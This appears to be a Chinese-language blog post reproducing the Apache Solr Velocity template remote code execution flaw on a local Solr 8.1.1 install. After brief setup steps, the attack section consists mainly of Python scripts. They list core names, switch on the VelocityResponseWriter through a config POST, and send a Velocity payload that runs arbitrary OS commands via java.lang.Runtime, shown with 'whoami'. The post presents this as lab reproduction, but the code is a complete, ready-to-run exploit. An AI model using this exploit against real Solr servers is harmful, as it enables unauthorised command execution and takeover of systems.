Catalog
  1. 1. 环境搭建
  2. 2. 攻击
    1. 2.1. 查看Core的命名
    2. 2.2. payload
Apache_Solr漏洞复现

10月底的漏洞,做一下本地复现。也写了验证脚本。

环境搭建

直接进到bin目录下,cmd执行solr start。就可以了。

创建一个core。

一般会出现报错。

先别着急点击Add Core,先去目录下创建几个文件。

首先去目录:solr安装目录/solr-8.1.1\server\solr/ 创建一个名字为new_core的文件夹

然后拷贝当前目录下:solr安装目录/solr-8.1.1\server\solr\configsets_default下的conf目录拷贝到new_core目录下

然后再点击创建即可

攻击

条件:

  • 知道Core的命名

查看Core的命名

请求这个地址就可以看见Core的命名。

1
http://127.0.0.1:8983/solr/admin/cores?wt=json&indexInfo=false

写个代码获取命名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import json
import sys

def getname(url):
url += "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[0]
except:
pass
print name

getname('http://127.0.0.1:8983')

payload

攻击payload就不说了,有很多文章了。

演示效果就好了。

给一份K8哥哥的shell源码(不做解析了,总得流程就是,第一步获取命名,第二步post请求包修改core,第三步执行命令):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import json
import sys


reload(sys)
sys.setdefaultencoding('utf8')

def getname(url):
url += "/solr/admin/cores?wt=json&indexInfo=false"
conn = requests.request("GET", url=url)
name = "test"
try:
name = list(json.loads(conn.text)["status"])[0]
except:
pass
return name


def upconfig(url, name):

url += "/solr/"+name+"/config"
print "Upconfig: ", url
headers = {"Content-Type": "application/json"}
post_data = """
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
"""
conn = requests.request("POST", url, data=post_data, headers=headers)
if conn.status_code != 200:
print "Upconfig error: ", conn.status_code
sys.exit(1)


def poc(url,cmd):
core_name = getname(url)
upconfig(url, core_name)
url += "/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
conn = requests.request("GET", url)
print "ExecCmd: "+conn.text


if __name__ == '__main__':
url = 'http://127.0.0.1:8983'
cmd = 'whoami'
poc(url,cmd)

Author: 九指
Link: /2019/12/08/Apache%20Solr%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶